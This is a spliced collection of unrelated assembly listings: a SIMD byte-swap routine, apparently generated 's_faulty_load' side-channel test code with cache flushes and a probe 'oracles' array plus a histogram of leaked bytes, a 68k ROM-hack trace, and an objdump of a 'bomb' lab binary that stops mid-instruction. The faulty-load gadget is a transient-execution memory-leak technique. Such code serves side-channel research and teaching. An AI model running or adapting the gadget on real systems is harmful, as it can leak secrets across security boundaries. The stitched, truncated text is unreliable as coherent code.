sse4 %define CLIPD CLIPD_SSE41 %ifdef m8 VECTOR_CLIP_INT32 11, 1, 1, 0 %else VECTOR_CLIP_INT32 6, 1, 0, 0 %endif ; %1 = aligned/unaligned %macro BSWAP_LOOPS 1 mov r3, r2 sar r2, 3 jz .left4_%1 .loop8_%1: mov%1 m0, [r1 + 0] mov%1 m1, [r1 + 16] %if cpuflag(ssse3) pshufb m0, m2 pshufb m1, m2 mov%1 [r0 + 0], m0 mov%1 [r0 + 16], m1 %else pshuflw m0, m0, 10110001b pshuflw m1, m1, 10110001b pshufhw m0, m0, 10110001b pshufhw m1, m1, 10110001b mova m2, m0 mova m3, m1 psllw m0, 8 psllw m1, 8 psrlw m2, 8 psrlw m3, 8 por m2, m0 por m3, m1 mov%1 [r0 + 0], m2 mov%1 [r0 + 16], m3 %endif add r0, 32 add r1, 32 dec r2 jnz .loop8_%1 .left4_%1: mov r2, r3 and r3, 4 jz .left mov%1 m0, [r1] %if cpuflag(ssse3) pshufb m0, m2 mov%1 [r0], m0 %else pshuflw m0, m0, 10110001b pshufhw m0, m0, 10110001b mova m2, m0 psllw m0, 8 psrlw m2, 8 por m2, m0 mov%1 [r0], m2 %endif add r1, 16 add r0, 16 %endmacro ; void bswap_buf(uint32_t *dst, const uint32_t *src, int w); %macro BSWAP32_BUF 0 %if cpuflag(ssse3) cglobal bswap32_buf, 3,4,3 mov r3, r1 mova m2, [pb_bswap32] %else cglobal bswap32_buf, 3,4,5 mov r3, r1 %endif or r3, r0 and r3, 15 jz .start_align BSWAP_LOOPS u jmp .left .start_align: BSWAP_LOOPS a .left: %if cpuflag(ssse3) mov r3, r2 and r2, 2 jz .left1 movq m0, [r1] pshufb m0, m2 movq [r0], m0 add r1, 8 add r0, 8 .left1: and r3, 1 jz .end mov r2d, [r1] bswap r2d mov [r0], r2d %else and r2, 3 jz .end .loop2: mov r3d, [r1] bswap r3d mov [r0], r3d add r1, 4 add r0, 4 dec r2 jnz .loop2 %endif .end: RET %endmacro INIT_XMM sse2 BSWAP32_BUF INIT_XMM ssse3 BSWAP32_BUF
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x18b1d, %rsi lea addresses_UC_ht+0x1d71d, %rdi nop sub $44945, %r11 mov $110, %rcx rep movsq nop nop nop nop nop and $27644, %rax lea addresses_A_ht+0x1e1d, %rax nop cmp %rbp, %rbp movl $0x61626364, (%rax) xor %rsi, %rsi lea addresses_WT_ht+0x1a81d, %rdi nop nop nop nop nop xor %rdx, %rdx mov (%rdi), %ax nop nop nop nop dec %rcx lea addresses_WC_ht+0x14e1d, %rdi clflush (%rdi) nop nop nop nop cmp %rcx, %rcx movb (%rdi), %al nop nop nop nop nop add %rsi, %rsi lea addresses_UC_ht+0x1b4d5, %rdx nop sub %rsi, %rsi movb (%rdx), %al nop nop nop add $46348, %rdx lea addresses_UC_ht+0xab1d, %r11 nop nop add %rax, %rax mov $0x6162636465666768, %rdx movq %rdx, %xmm5 and $0xffffffffffffffc0, %r11 movaps %xmm5, (%r11) nop and $29260, %rdi lea addresses_UC_ht+0xe49d, %rdx nop nop nop nop nop add %r11, %r11 mov $0x6162636465666768, %rsi movq %rsi, %xmm3 movups %xmm3, (%rdx) nop sub %rdx, %rdx lea addresses_normal_ht+0x2c99, %rsi lea addresses_WC_ht+0x1d3ed, %rdi clflush (%rdi) nop nop add $17223, %r9 mov $11, %rcx rep movsw nop nop sub $13637, %rcx lea addresses_A_ht+0x4683, %r9 nop nop nop nop nop sub %rdi, %rdi movl $0x61626364, (%r9) inc %rcx lea addresses_normal_ht+0xc41d, %rsi lea addresses_WC_ht+0x1b0fd, %rdi nop nop nop nop nop and %rax, %rax mov $35, %rcx rep movsw nop nop cmp $23736, %rcx lea addresses_D_ht+0x299d, %rsi lea addresses_WC_ht+0x35e6, %rdi nop nop cmp $33595, %rax mov $39, %rcx rep movsl nop nop nop nop nop xor %rbp, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r8 push %rax push %rbp push %rbx push %rsi // Store lea addresses_A+0x16e1d, %rbx xor $32205, %rbp mov $0x5152535455565758, %r12 movq %r12, (%rbx) nop nop nop nop add $10614, %r12 // Faulty Load mov $0x1a8016000000061d, %r12 and %rbx, %rbx vmovups (%r12), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %r8 lea oracles, %rbp and $0xff, %r8 shlq $12, %r8 mov (%rbp,%r8,1), %r8 pop %rsi pop %rbx pop %rbp pop %rax pop %r8 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 11}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 8}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 1}} {'dst': {'same': True, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 7}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}} {'54': 9, '12': 1, '2e': 1, '00': 14, '03': 1, 'be': 1, '3a': 1, '53': 11, 'c2': 1, '60': 13652, 'af': 1, '82': 1, '96': 1, '86': 1, '46': 5589, '9a': 1, '0d': 1, 'b4': 1, '7a': 2, 'd7': 1, 'f6': 1, 'ca': 1, '06': 2536} 00 60 46 06 60 60 60 60 46 46 06 06 60 60 60 60 46 60 46 60 60 60 60 60 60 60 60 60 60 46 60 60 46 60 06 06 60 60 60 46 60 60 60 60 60 60 60 60 46 46 60 06 06 60 60 60 46 60 46 60 46 60 60 46 46 60 60 46 46 60 46 46 46 60 46 60 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 ca 60 46 06 60 60 46 06 06 06 60 06 06 06 60 60 60 06 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 60 46 46 06 06 60 60 06 06 06 60 60 06 06 06 60 60 60 60 06 60 60 60 60 60 60 06 60 60 60 60 60 60 60 06 60 60 60 60 60 60 60 60 06 60 60 46 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 46 60 46 06 06 60 06 60 60 60 46 60 60 06 46 60 60 60 00 60 60 06 06 60 60 60 46 60 60 60 06 06 06 06 06 06 06 60 60 60 60 60 60 60 46 46 60 60 60 60 60 60 60 60 60 06 60 60 60 06 60 60 46 06 60 60 60 60 60 60 60 06 60 60 60 60 60 60 60 46 46 46 06 46 46 46 86 46 06 60 60 60 46 46 46 60 46 60 06 60 46 06 46 46 60 60 46 60 60 46 60 60 60 60 60 60 60 60 60 60 60 60 46 46 46 46 46 46 46 46 60 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 60 60 06 60 60 60 60 06 06 06 60 46 60 60 60 60 60 60 06 60 60 60 60 46 46 60 60 46 60 60 46 60 60 60 60 46 60 60 60 60 46 60 60 46 60 60 46 06 60 60 60 60 46 60 46 60 60 06 06 06 60 60 06 60 06 06 60 60 06 06 06 60 60 60 06 46 46 46 06 06 46 60 60 06 46 46 60 06 46 46 60 60 60 60 60 60 60 60 06 46 60 60 06 06 06 06 06 60 60 06 06 60 06 60 06 06 60 06 06 60 06 60 06 06 46 46 00 46 46 46 60 46 60 60 60 60 60 60 60 60 60 60 06 46 46 60 60 60 60 60 60 06 06 46 46 46 60 60 60 60 60 06 60 60 60 60 46 60 46 60 60 60 60 60 60 06 60 46 60 60 60 06 60 60 60 60 60 60 06 46 60 60 46 46 60 46 60 46 06 60 06 60 60 60 46 46 46 60 46 46 60 60 46 46 46 46 46 60 46 60 46 60 60 60 60 60 60 60 60 60 60 46 60 60 46 46 60 06 60 46 60 60 46 46 60 60 60 06 06 06 46 46 60 60 46 46 46 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 60 60 60 60 06 60 60 60 46 46 60 60 06 60 60 60 60 60 60 60 60 60 06 60 60 46 60 60 46 46 46 60 46 46 60 60 60 60 60 60 60 60 46 46 46 46 60 46 60 60 60 60 46 06 60 60 60 60 60 60 60 46 60 06 60 60 60 60 60 46 46 46 60 46 46 60 60 60 60 60 06 60 60 60 60 60 46 46 60 60 60 60 60 46 46 46 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 06 60 60 60 06 46 46 46 46 60 60 60 60 46 46 46 60 46 60 60 60 60 60 60 60 60 06 60 46 60 60 60 46 46 46 46 46 46 60 46 46 46 60 46 46 60 46 60 60 06 60 60 60 60 60 60 60 60 60 06 60 60 60 60 06 06 06 06 06 60 60 60 60 06 06 46 60 60 60 60 06 60 60 60 06 60 60 46 60 46 60 60 60 60 60 53 60 60 46 60 60 60 46 60 60 60 46 60 46 46 46 46 06 46 46 46 60 46 46 46 60 46 06 46 60 06 06 46 46 46 46 60 60 60 60 60 60 60 60 60 06 06 46 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 46 60 60 60 46 54 60 46 60 60 60 60 60 46 60 60 60 60 60 60 60 60 60 46 60 60 60 46 46 60 46 60 46 60 60 46 46 60 60 06 60 60 46 60 60 60 46 60 60 46 60 60 60 06 60 46 46 60 06 06 60 60 60 60 60 60 06 60 60 60 60 60 60 46 46 46 46 46 46 46 60 46 46 60 60 60 46 60 60 60 46 60 46 60 46 60 60 46 60 46 60 46 60 60 60 60 60 */
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 09CFCC clr.l (A1)+ 09CFCE dbra D0, $9cfcc 09D4F2 move.b ($2,A0), D1 09D4F6 lsl.b #1, D1 [base+49C] 09D51E move.b D1, ($2,A0) 09D522 tst.b ($0,A0) [base+47C, base+48C, base+49C] 09D542 move.b ($2,A0), D0 09D546 beq $9d59e [base+47C, base+48C, base+49C] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
bomb: file format elf64-x86-64 Disassembly of section .init: 0000000000400ac0 <_init>: 400ac0: 48 83 ec 08 sub $0x8,%rsp 400ac4: e8 f3 01 00 00 callq 400cbc <call_gmon_start> 400ac9: 48 83 c4 08 add $0x8,%rsp 400acd: c3 retq Disassembly of section .plt: 0000000000400ad0 <.plt>: 400ad0: ff 35 1a 25 20 00 pushq 0x20251a(%rip) # 602ff0 <_GLOBAL_OFFSET_TABLE_+0x8> 400ad6: ff 25 1c 25 20 00 jmpq *0x20251c(%rip) # 602ff8 <_GLOBAL_OFFSET_TABLE_+0x10> 400adc: 0f 1f 40 00 nopl 0x0(%rax) 0000000000400ae0 <getenv@plt>: 400ae0: ff 25 1a 25 20 00 jmpq *0x20251a(%rip) # 603000 <getenv@GLIBC_2.2.5> 400ae6: 68 00 00 00 00 pushq $0x0 400aeb: e9 e0 ff ff ff jmpq 400ad0 <.plt> 0000000000400af0 <__errno_location@plt>: 400af0: ff 25 12 25 20 00 jmpq *0x202512(%rip) # 603008 <__errno_location@GLIBC_2.2.5> 400af6: 68 01 00 00 00 pushq $0x1 400afb: e9 d0 ff ff ff jmpq 400ad0 <.plt> 0000000000400b00 <strcpy@plt>: 400b00: ff 25 0a 25 20 00 jmpq *0x20250a(%rip) # 603010 <strcpy@GLIBC_2.2.5> 400b06: 68 02 00 00 00 pushq $0x2 400b0b: e9 c0 ff ff ff jmpq 400ad0 <.plt> 0000000000400b10 <puts@plt>: 400b10: ff 25 02 25 20 00 jmpq *0x202502(%rip) # 603018 <puts@GLIBC_2.2.5> 400b16: 68 03 00 00 00 pushq $0x3 400b1b: e9 b0 ff ff ff jmpq 400ad0 <.plt> 0000000000400b20 <write@plt>: 400b20: ff 25 fa 24 20 00 jmpq *0x2024fa(%rip) # 603020 <write@GLIBC_2.2.5> 400b26: 68 04 00 00 00 pushq $0x4 400b2b: e9 a0 ff ff ff jmpq 400ad0 <.plt> 0000000000400b30 <__stack_chk_fail@plt>: 400b30: ff 25 f2 24 20 00 jmpq *0x2024f2(%rip) # 603028 <__stack_chk_fail@GLIBC_2.4> 400b36: 68 05 00 00 00 pushq $0x5 400b3b: e9 90 ff ff ff jmpq 400ad0 <.plt> 0000000000400b40 <alarm@plt>: 400b40: ff 25 ea 24 20 00 jmpq *0x2024ea(%rip) # 603030 <alarm@GLIBC_2.2.5> 400b46: 68 06 00 00 00 pushq $0x6 400b4b: e9 80 ff ff ff jmpq 400ad0 <.plt> 0000000000400b50 <close@plt>: 400b50: ff 25 e2 24 20 00 jmpq *0x2024e2(%rip) # 603038 <close@GLIBC_2.2.5> 400b56: 68 07 00 00 00 pushq $0x7 400b5b: e9 70 ff ff ff jmpq 400ad0 <.plt> 0000000000400b60 <read@plt>: 400b60: ff 25 da 24 20 00 jmpq *0x2024da(%rip) # 603040 <read@GLIBC_2.2.5> 400b66: 68 08 00 00 00 pushq $0x8 400b6b: e9 60 ff ff ff jmpq 400ad0 <.plt> 0000000000400b70 <__libc_start_main@plt>: 400b70: ff 25 d2 24 20 00 jmpq *0x2024d2(%rip) # 603048 <__libc_start_main@GLIBC_2.2.5> 400b76: 68 09 00 00 00 pushq $0x9 400b7b: e9 50 ff ff ff jmpq 400ad0 <.plt> 0000000000400b80 <fgets@plt>: 400b80: ff 25 ca 24 20 00 jmpq *0x2024ca(%rip) # 603050 <fgets@GLIBC_2.2.5> 400b86: 68 0a 00 00 00 pushq $0xa 400b8b: e9 40 ff ff ff jmpq 400ad0 <.plt> 0000000000400b90 <signal@plt>: 400b90: ff 25 c2 24 20 00 jmpq *0x2024c2(%rip) # 603058 <signal@GLIBC_2.2.5> 400b96: 68 0b 00 00 00 pushq $0xb 400b9b: e9 30 ff ff ff jmpq 400ad0 <.plt> 0000000000400ba0 <gethostbyname@plt>: 400ba0: ff 25 ba 24 20 00 jmpq *0x2024ba(%rip) # 603060 <gethostbyname@GLIBC_2.2.5> 400ba6: 68 0c 00 00 00 pushq $0xc 400bab: e9 20 ff ff ff jmpq 400ad0 <.plt> 0000000000400bb0 <__memmove_chk@plt>: 400bb0: ff 25 b2 24 20 00 jmpq *0x2024b2(%rip) # 603068 <__memmove_chk@GLIBC_2.3.4> 400bb6: 68 0d 00 00 00 pushq $0xd 400bbb: e9 10 ff ff ff jmpq 400ad0 <.plt> 0000000000400bc0 <__memcpy_chk@plt>: 400bc0: ff 25 aa 24 20 00 jmpq *0x2024aa(%rip) # 603070 <__memcpy_chk@GLIBC_2.3.4> 400bc6: 68 0e 00 00 00 pushq $0xe 400bcb: e9 00 ff ff ff jmpq 400ad0 <.plt> 0000000000400bd0 <strtol@plt>: 400bd0: ff 25 a2 24 20 00 jmpq *0x2024a2(%rip) # 603078 <strtol@GLIBC_2.2.5> 400bd6: 68 0f 00 00 00 pushq $0xf 400bdb: e9 f0 fe ff ff jmpq 400ad0 <.plt> 0000000000400be0 <fflush@plt>: 400be0: ff 25 9a 24 20 00 jmpq *0x20249a(%rip) # 603080 <fflush@GLIBC_2.2.5> 400be6: 68 10 00 00 00 pushq $0x10 400beb: e9 e0 fe ff ff jmpq 400ad0 <.plt> 0000000000400bf0 <__isoc99_sscanf@plt>: 400bf0: ff 25 92 24 20 00 jmpq *0x202492(%rip) # 603088 <__isoc99_sscanf@GLIBC_2.7> 400bf6: 68 11 00 00 00 pushq $0x11 400bfb: e9 d0 fe ff ff jmpq 400ad0 <.plt> 0000000000400c00 <__printf_chk@plt>: 400c00: ff 25 8a 24 20 00 jmpq *0x20248a(%rip) # 603090 <__printf_chk@GLIBC_2.3.4> 400c06: 68 12 00 00 00 pushq $0x12 400c0b: e9 c0 fe ff ff jmpq 400ad0 <.plt> 0000000000400c10 <fopen@plt>: 400c10: ff 25 82 24 20 00 jmpq *0x202482(%rip) # 603098 <fopen@GLIBC_2.2.5> 400c16: 68 13 00 00 00 pushq $0x13 400c1b: e9 b0 fe ff ff jmpq 400ad0 <.plt> 0000000000400c20 <exit@plt>: 400c20: ff 25 7a 24 20 00 jmpq *0x20247a(%rip) # 6030a0 <exit@GLIBC_2.2.5> 400c26: 68 14 00 00 00 pushq $0x14 400c2b: e9 a0 fe ff ff jmpq 400ad0 <.plt> 0000000000400c30 <connect@plt>: 400c30: ff 25 72 24 20 00 jmpq *0x202472(%rip) # 6030a8 <connect@GLIBC_2.2.5> 400c36: 68 15 00 00 00 pushq $0x15 400c3b: e9 90 fe ff ff jmpq 400ad0 <.plt> 0000000000400c40 <__fprintf_chk@plt>: 400c40: ff 25 6a 24 20 00 jmpq *0x20246a(%rip) # 6030b0 <__fprintf_chk@GLIBC_2.3.4> 400c46: 68 16 00 00 00 pushq $0x16 400c4b: e9 80 fe ff ff jmpq 400ad0 <.plt> 0000000000400c50 <sleep@plt>: 400c50: ff 25 62 24 20 00 jmpq *0x202462(%rip) # 6030b8 <sleep@GLIBC_2.2.5> 400c56: 68 17 00 00 00 pushq $0x17 400c5b: e9 70 fe ff ff jmpq 400ad0 <.plt> 0000000000400c60 <__ctype_b_loc@plt>: 400c60: ff 25 5a 24 20 00 jmpq *0x20245a(%rip) # 6030c0 <__ctype_b_loc@GLIBC_2.3> 400c66: 68 18 00 00 00 pushq $0x18 400c6b: e9 60 fe ff ff jmpq 400ad0 <.plt> 0000000000400c70 <__sprintf_chk@plt>: 400c70: ff 25 52 24 20 00 jmpq *0x202452(%rip) # 6030c8 <__sprintf_chk@GLIBC_2.3.4> 400c76: 68 19 00 00 00 pushq $0x19 400c7b: e9 50 fe ff ff jmpq 400ad0 <.plt> 0000000000400c80 <socket@plt>: 400c80: ff 25 4a 24 20 00 jmpq *0x20244a(%rip) # 6030d0 <socket@GLIBC_2.2.5> 400c86: 68 1a 00 00 00 pushq $0x1a 400c8b: e9 40 fe ff ff jmpq 400ad0 <.plt> Disassembly of section .text: 0000000000400c90 <_start>: 400c90: 31 ed xor %ebp,%ebp 400c92: 49 89 d1 mov %rdx,%r9 400c95: 5e pop %rsi 400c96: 48 89 e2 mov %rsp,%rdx 400c99: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp 400c9d: 50 push %rax 400c9e: 54 push %rsp 400c9f: 49 c7 c0 a0 22 40 00 mov $0x4022a0,%r8 400ca6: 48 c7 c1 10 22 40 00 mov $0x402210,%rcx 400cad: 48 c7 c7 a0 0d 40 00 mov $0x400da0,%rdi 400cb4: e8 b7 fe ff ff callq 400b70 <__libc_start_main@plt> 400cb9: f4 hlt 400cba: 90 nop 400cbb: 90 nop 0000000000400cbc <call_gmon_start>: 400cbc: 48 83 ec 08 sub $0x8,%rsp 400cc0: 48 8b 05 19 23 20 00 mov 0x202319(%rip),%rax # 602fe0 <__gmon_start__> 400cc7: 48 85 c0 test %rax,%rax 400cca: 74 02 je 400cce <call_gmon_start+0x12> 400ccc: ff d0 callq *%rax 400cce: 48 83 c4 08 add $0x8,%rsp 400cd2: c3 retq 400cd3: 90 nop 400cd4: 90 nop 400cd5: 90 nop 400cd6: 90 nop 400cd7: 90 nop 400cd8: 90 nop 400cd9: 90 nop 400cda: 90 nop 400cdb: 90 nop 400cdc: 90 nop 400cdd: 90 nop 400cde: 90 nop 400cdf: 90 nop 0000000000400ce0 <deregister_tm_clones>: 400ce0: b8 47 37 60 00 mov $0x603747,%eax 400ce5: 55 push %rbp 400ce6: 48 2d 40 37 60 00 sub $0x603740,%rax 400cec: 48 83 f8 0e cmp $0xe,%rax 400cf0: 48 89 e5 mov %rsp,%rbp 400cf3: 77 02 ja 400cf7 <deregister_tm_clones+0x17> 400cf5: 5d pop %rbp 400cf6: c3 retq 400cf7: b8 00 00 00 00 mov $0x0,%eax 400cfc: 48 85 c0 test %rax,%rax 400cff: 74 f4 je 400cf5 <deregister_tm_clones+0x15> 400d01: 5d pop %rbp 400d02: bf 40 37 60 00 mov $0x603740,%edi 400d07: ff e0 jmpq *%rax 400d09: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) 0000000000400d10 <register_tm_clones>: 400d10: b8 40 37 60 00 mov $0x603740,%eax 400d15: 55 push %rbp 400d16: 48 2d 40 37 60 00 sub $0x603740,%rax 400d1c: 48 c1 f8 03 sar $0x3,%rax 400d20: 48 89 e5 mov %rsp,%rbp 400d23: 48 89 c2 mov %rax,%rdx 400d26: 48 c1 ea 3f shr $0x3f,%rdx 400d2a: 48 01 d0 add %rdx,%rax 400d2d: 48 d1 f8 sar %rax 400d30: 75 02 jne 400d34 <register_tm_clones+0x24> 400d32: 5d pop %rbp 400d33: c3 retq 400d34: ba 00 00 00 00 mov $0x0,%edx 400d39: 48 85 d2 test %rdx,%rdx 400d3c: 74 f4 je 400d32 <register_tm_clones+0x22> 400d3e: 5d pop %rbp 400d3f: 48 89 c6 mov %rax,%rsi 400d42: bf 40 37 60 00 mov $0x603740,%edi 400d47: ff e2 jmpq *%rdx 400d49: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) 0000000000400d50 <__do_global_dtors_aux>: 400d50: 80 3d 01 2a 20 00 00 cmpb $0x0,0x202a01(%rip) # 603758 <completed.6976> 400d57: 75 11 jne 400d6a <__do_global_dtors_aux+0x1a> 400d59: 55 push %rbp 400d5a: 48 89 e5 mov %rsp,%rbp 400d5d: e8 7e ff ff ff callq 400ce0 <deregister_tm_clones> 400d62: 5d pop %rbp 400d63: c6 05 ee 29 20 00 01 movb $0x1,0x2029ee(%rip) # 603758 <completed.6976> 400d6a: f3 c3 repz retq 400d6c: 0f 1f 40 00 nopl 0x0(%rax) 0000000000400d70 <frame_dummy>: 400d70: 48 83 3d 90 20 20 00 cmpq $0x0,0x202090(%rip) # 602e08 <__JCR_END__> 400d77: 00 400d78: 74 1e je 400d98 <frame_dummy+0x28> 400d7a: b8 00 00 00 00 mov $0x0,%eax 400d7f: 48 85 c0 test %rax,%rax 400d82: 74 14 je 400d98 <frame_dummy+0x28> 400d84: 55 push %rbp 400d85: bf 08 2e 60 00 mov $0x602e08,%edi 400d8a: 48 89 e5 mov %rsp,%rbp 400d8d: ff d0 callq *%rax 400d8f: 5d pop %rbp 400d90: e9 7b ff ff ff jmpq 400d10 <register_tm_clones> 400d95: 0f 1f 00 nopl (%rax) 400d98: e9 73 ff ff ff jmpq 400d10 <register_tm_clones> 400d9d: 90 nop 400d9e: 90 nop 400d9f: 90 nop 0000000000400da0 <main>: 400da0: 53 push %rbx 400da1: 83 ff 01 cmp $0x1,%edi 400da4: 75 10 jne 400db6 <main+0x16> 400da6: 48 8b 05 9b 29 20 00 mov 0x20299b(%rip),%rax # 603748 <stdin@@GLIBC_2.2.5> 400dad: 48 89 05 b4 29 20 00 mov %rax,0x2029b4(%rip) # 603768 <infile> 400db4: eb 63 jmp 400e19 <main+0x79> 400db6: 48 89 f3 mov %rsi,%rbx 400db9: 83 ff 02 cmp $0x2,%edi 400dbc: 75 3a jne 400df8 <main+0x58> 400dbe: 48 8b 7e 08 mov 0x8(%rsi),%rdi 400dc2: be b4 22 40 00 mov $0x4022b4,%esi 400dc7: e8 44 fe ff ff callq 400c10 <fopen@plt> 400dcc: 48 89 05 95 29 20 00 mov %rax,0x202995(%rip) # 603768 <infile> 400dd3: 48 85 c0 test %rax,%rax 400dd6: 75 41 jne 400e19 <main+0x79> 400dd8: 48 8b 4b 08 mov 0x8(%rbx),%rcx 400ddc: 48 8b 13 mov (%rbx),%rdx 400ddf: be b6 22 40 00 mov $0x4022b6,%esi 400de4: bf 01 00 00 00 mov $0x1,%edi 400de9: e8 12 fe ff ff callq 400c00 <__printf_chk@plt> 400dee: bf 08 00 00 00 mov $0x8,%edi 400df3: e8 28 fe ff ff callq 400c20 <exit@plt> 400df8: 48 8b 16 mov (%rsi),%rdx 400dfb: be d3 22 40 00 mov $0x4022d3,%esi 400e00: bf 01 00 00 00 mov $0x1,%edi 400e05: b8 00 00 00 00 mov $0x0,%eax 400e0a: e8 f1 fd ff ff callq 400c00 <__printf_chk@plt> 400e0f: bf 08 00 00 00 mov $0x8,%edi 400e14: e8 07 fe ff ff callq 400c20 <exit@plt> 400e19: e8 84 05 00 00 callq 4013a2 <initialize_bomb> 400e1e: bf 38 23 40 00 mov $0x402338,%edi 400e23: e8 e8 fc ff ff callq 400b10 <puts@plt> 400e28: bf 78 23 40 00 mov $0x402378,%edi 400e2d: e8 de fc ff ff callq 400b10 <puts@plt> 400e32: e8 67 06 00 00 callq 40149e <read_line> 400e37: 48 89 c7 mov %rax,%rdi 400e3a: e8 a1 00 00 00 callq 400ee0 <phase_1> 400e3f: e8 80 07 00 00 callq 4015c4 <phase_defused> 400e44: bf a8 23 40 00 mov $0x4023a8,%edi 400e49: e8 c2 fc ff ff callq 400b10 <puts@plt> 400e4e: e8 4b 06 00 00 callq 40149e <read_line> 400e53: 48 89 c7 mov %rax,%rdi 400e56: e8 a1 00 00 00 callq 400efc <phase_2> 400e5b: e8 64 07 00 00 callq 4015c4 <phase_defused> 400e60: bf ed 22 40 00 mov $0x4022ed,%edi 400e65: e8 a6 fc ff ff callq 400b10 <puts@plt> 400e6a: e8 2f 06 00 00 callq 40149e <read_line> 400e6f: 48 89 c7 mov %rax,%rdi 400e72: e8 cc 00 00 00 callq 400f43 <phase_3> 400e77: e8 48 07 00 00 callq 4015c4 <phase_defused> 400e7c: bf 0b 23 40 00 mov $0x40230b,%edi 400e81: e8 8a fc ff ff callq 400b10 <puts@plt> 400e86: e8 13 06 00 00 callq 40149e <read_line> 400e8b: 48 89 c7 mov %rax,%rdi 400e8e: e8 79 01 00 00 callq 40100c <phase_4> 400e93: e8 2c 07 00 00 callq 4015c4 <phase_defused> 400e98: bf d8 23 40 00 mov $0x4023d8,%edi 400e9d: e8 6e fc ff ff callq 400b10 <puts@plt> 400ea2: e8 f7 05 00 00 callq 40149e <read_line> 400ea7: 48 89 c7 mov %rax,%rdi 400eaa: e8 b3 01 00 00 callq 401062 <phase_5> 400eaf: e8 10 07 00 00 callq 4015c4 <phase_defused> 400eb4: bf 1a 23 40 00 mov $0x40231a,%edi 400eb9: e8 52 fc ff ff callq 400b10 <puts@plt> 400ebe: e8 db 05 00 00 callq 40149e <read_line> 400ec3: 48 89 c7 